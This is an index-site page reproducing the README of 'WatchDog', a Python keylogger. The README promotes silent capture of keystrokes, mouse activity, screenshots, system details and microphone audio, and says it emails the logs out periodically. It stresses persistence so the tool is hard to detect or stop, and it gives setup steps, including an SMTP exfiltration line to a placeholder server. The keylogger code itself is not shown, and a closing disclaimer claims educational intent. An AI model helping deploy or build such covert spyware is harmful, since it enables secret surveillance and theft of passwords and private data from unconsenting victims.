Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/arindal1/watchdog-keylogger

A Python-based keylogger tool designed to silently capture keyboard input, mouse events, and system information.
https://github.com/arindal1/watchdog-keylogger

cybersecurity cybersecurity-tools keylogger keylogger-script python-script

Last synced: 14 days ago
JSON representation

A Python-based keylogger tool designed to silently capture keyboard input, mouse events, and system information.

Awesome Lists containing this project

README

        


header image

github

twitter



**WatchDog** is a *Python script* that implements a basic keylogger which captures *keyboard input, mouse events, system information*, and takes *periodic screenshots*. The logged data is sent via *email* to a specified address at regular intervals. The script is designed to run persistently in the background, making it more resilient and harder to detect or stop through conventional means.

## Features

- Captures keyboard input (keystrokes) and special keys.
- Records mouse movements, clicks, and scrolls.
- Collects system information such as hostname, IP address, processor, system type, and machine type.
- Takes screenshots of the desktop.
- Records audio from the microphone (optional).
- Sends logged data via email at regular intervals.

## Installation

1. Clone or download the WatchDog repository to your local machine.
2. Install the required Python dependencies using pip:

```bash
pip install -r requirements.txt
```

3. Use a Temp-Mail, and create an account on: [mailtrap.io](https://mailtrap.io/).
4. Visit [mailtrap.io](https://mailtrap.io/) dashboard and Go to: **HOME** and use an *fake SMTP* domain.
5. Go to: **Email Testing** > *Inbox*
6. Click on [Show Credentials]() dropdown, and note your port, username, and password.
7. Open `watchdog.py` in a code editor.
8. Replace these following placeholders:

![image](images/1.png)

Replace:
```
EMAIL_ADDRESS = "[email protected]"
EMAIL_PASSWORD = "your_email_password"
```
```
with smtplib.SMTP('smtp.example.com', 587) as server:
```

## Usage

1. Run the `watchdog.py` script using Python:

```bash
python watchdog.py
```

2. The keylogger will start capturing keyboard input, mouse events, and system information silently.
3. Logged data will be periodically sent via email to the specified address.

**Inbox:**

![image](images/2.png)

**Received Mails:**

![image](images/3.png)

```
[ start > "note" > enter > "the key logger is active right now" > enter > "and is recording everything" > enter > "this is the output" > enter > alt+tab ]
```

## Configuration

Before using WatchDog, make sure to configure the following settings:

- Email address: Replace `"[email protected]"` with your actual email address.
- Email password: Replace `"your_email_password"` with your email password.
- SMTP server: Replace `'smtp.example.com'` with the SMTP server of your email provider.
- SMTP port: Replace `587` with the port number used by your email provider.

**Example:**

![image](images/1.png)

## Termination:

To terminate the script, open **Task Manager** and go to the **Processes** tab. Scroll through and search for running *python processes*. Select the python process, and terminate it using **End Task**.

![images](images/4.png)

## Disclaimer

WatchDog is intended for educational and testing purposes only. It should not be used for any illegal or unethical activities. The developer of this project is not responsible for any misuse or damage caused by the use of this software.
Always use keyloggers responsibly and ethically, respecting the privacy and security of others.